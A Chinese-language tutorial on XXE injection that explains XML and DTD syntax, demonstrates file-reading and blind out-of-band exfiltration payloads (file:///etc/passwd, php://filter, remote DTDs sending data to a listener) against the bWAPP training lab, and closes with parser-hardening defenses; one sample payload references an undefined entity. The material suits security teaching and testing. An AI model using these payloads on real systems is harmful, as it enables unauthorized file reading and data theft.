XXE漏洞

0x01 XXE基礎-XML基礎語法

XML被設計用來傳輸和存儲數據。

HTML被設計用來顯示數據。

0x02 什麼是XML

  • XML 指可擴展標記語言(EXtensible Markup Language)。
  • XML 是一種很像HTML的標記語言。
  • XML 的設計宗旨是傳輸數據,而不是顯示數據。
  • XML 標籤沒有被預定義。需要自行定義標籤。
  • XML 被設計爲具有自我描述性。
  • XML 是 W3C 的推薦標準。

0x03 XML基礎語法

  • XML可以自定義標籤。
  • XML必須含有根元素。
  • XML必須按順序閉合標籤。
  • XML標籤大小寫敏感。
  • XML屬性值須加引號。
舉個小栗子
<?xml version="1.0" encoding="UTF-8"?> <!-- XML聲明,版本&編碼 -->
<note time="2018.07.03" > <!-- 根元素 time爲屬性 2018.07.03爲屬性值 -->
<to>Tove</to> <!-- 四個子元素(to,from,heading,body) -->
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note> <!-- 所有的節點必須閉合 -->

0x04 XML實體引用

在 XML 中,一些字符擁有特殊的意義。

如果您把字符 "<" 放在 XML元素中,會發生錯誤,這是因爲解析器會把它當作新元素的開始。
荔枝
<message>if salary < 1000 then</message> <!-- 發生錯誤的XML。 -->
<!-- 使用實體引用來代替"<" 字符。-->
<message>if salary < 1000 then</message> <!-- √ -->
實體引用

在 XML 中,有 5 個預定義的實體引用:

實體引用 特殊字符 含義
&lt ; < less than
&gt ; > greater than
&amp ; & ampersand
&apos ; ' apostrophe
&quot ; " quotation mark

0x05 DTD內外部引用

DTD(文檔類型定義)的作用是定義XML文檔的合法構建模塊。
DTD 可被成行地聲明於XML文檔中,也可作爲一個外部引用。
內部引用語法
<!DOCTYPE root-element [element-declarations]>
內部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
  • !DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。
  • !ELEMENT note (第三行)定義 note 元素有四個元素:"to、from、heading,、body"
  • !ELEMENT to (第四行)定義 to 元素爲 "#PCDATA" 類型
  • !ELEMENT from (第五行)定義 from 元素爲 "#PCDATA" 類型
  • !ELEMENT heading (第六行)定義 heading 元素爲 "#PCDATA" 類型
  • !ELEMENT body (第七行)定義 body 元素爲 "#PCDATA" 類型
外部引用語法
<!DOCTYPE root-element SYSTEM "filename">
外部引用栗子
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>
<!--note.dtd 文件內容 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

==參數化外部引用==

參數實體:
    參數實體只能在DTD中使用,參數是實體的聲明格式:
    <!ENTITY % 實體名 "實體內容">
    引用方式:%實體名

0x06 什麼是XXE漏洞

XXE漏洞全稱XML External Entity Injection即XML外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、×××內網網站、發起dos×××等危害。xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。

0x07 XXE測試環境-彎(有回顯)

當允許引用外部實體時,通過構造惡意內容,可導致任意文件讀取、執行系統命令、探測內網端口等危害。
環境
bwapp  ==> XML External Entity Attacks (XXE)
文件:/bWAPP/xxe-1.php
 function ResetSecret()
    {
        var xmlHttp;
        // Code for IE7+, Firefox, Chrome, Opera, Safari
        if(window.XMLHttpRequest)
        {
            xmlHttp = new XMLHttpRequest();
        }
        // Code for IE6, IE5
        else
        {
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlHttp.open("POST","xxe-2.php",true);
        xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
        xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
    }

xxe-1.php 文件中將接收到的XML文件通過POST方式發送給xxe-2.php。

$body = file_get_contents("php://input");
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
    ini_set("display_errors",1);
    $xml = simplexml_load_string($body);
    $login = $xml->login;
    $secret = $xml->secret;
    if($login && $login != "" && $secret)
    {
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        $recordset = $link->query($sql);
        if(!$recordset)
        {

            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!";
    }
}
echo $message;

xxe-2.php文件通過PHP僞協議接收xml內容,然後解析,通過xml中獲取的login元素值回顯。

payload 讀取文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY a SYSTEM "http://127.0.0.1/Training/bWAPP/1payload/2.txt"> 
]>
<reset><login>&a;</login><secret>Any bugs?</secret></reset>

image

讀取文件句式
//通過file協議讀取。
<?xml version="1.0" ?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/passwd" >
]>
<c>&c;</c>

//通過PHP僞協議php://filter/讀取。
<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
]>
<c>&file;</c>

//通過引用遠程外部實體讀取。
<!DOCTYPE a[
    <!ENTITY % d SYSTEM "http://1.2.3.4/a.dtd">
    %d;
]>
<c>&b;</c>
DTD文件內容
<!ENTITY b SYSTEM "file:///etc/passwd">

//通過引用遠程外部實體讀取。
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://1.2.3.4/a.dtd">
<c>&b;</c>
DTD文件內容
<!ENTITY b SYSTEM "file:///etc/passwd">

0x08 XXE測試環境-圖(無回顯)

環境
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/Training/bWAPP/1payload/2.dtd">
%dtd;
]>
EOF;
$date = simplexml_load_string($xml);
//var_dump($date);
?>

當服務器沒有結果回顯時,可以通過將數據發送到VPS等獲取服務器數據。

2.dtd 文件內容
<!ENTITY % all 
"<!ENTITY % send SYSTEM 'http://127.0.0.1/Training/bWAPP/1payload/2.php?1=%file;'>"
>
%all;
%send;
2.php 文件內容
<?php
var_dump($_GET);
file_put_contents("2.txt",$_GET['1']);
?>
結果

結果可以在2.txt中查看,示例內容如下:

PD9waHANCiR4bWwgPSA8PDxFT0YNCjw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIEFOWVsNCg0KPCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPTEucGhwIj4NCjwhRU5USVRZICUgZHRkIFNZU1RFTSAiaHR0cDovLzEyNy4wLjAuMS9UcmFpbmluZy9iV0FQUC8xcGF5bG9hZC8yLmR0ZCI DQolZHRkOw0KXT4NCkVPRjsNCiRkYXRlID0gc2ltcGxleG1sX2xvYWRfc3RyaW5nKCR4bWwpOw0KdmFyX2R1bXAoJGRhdGUpOw0KPz4NCg==

0x09 XXE防護

方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、過濾用戶提交的XML數據
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章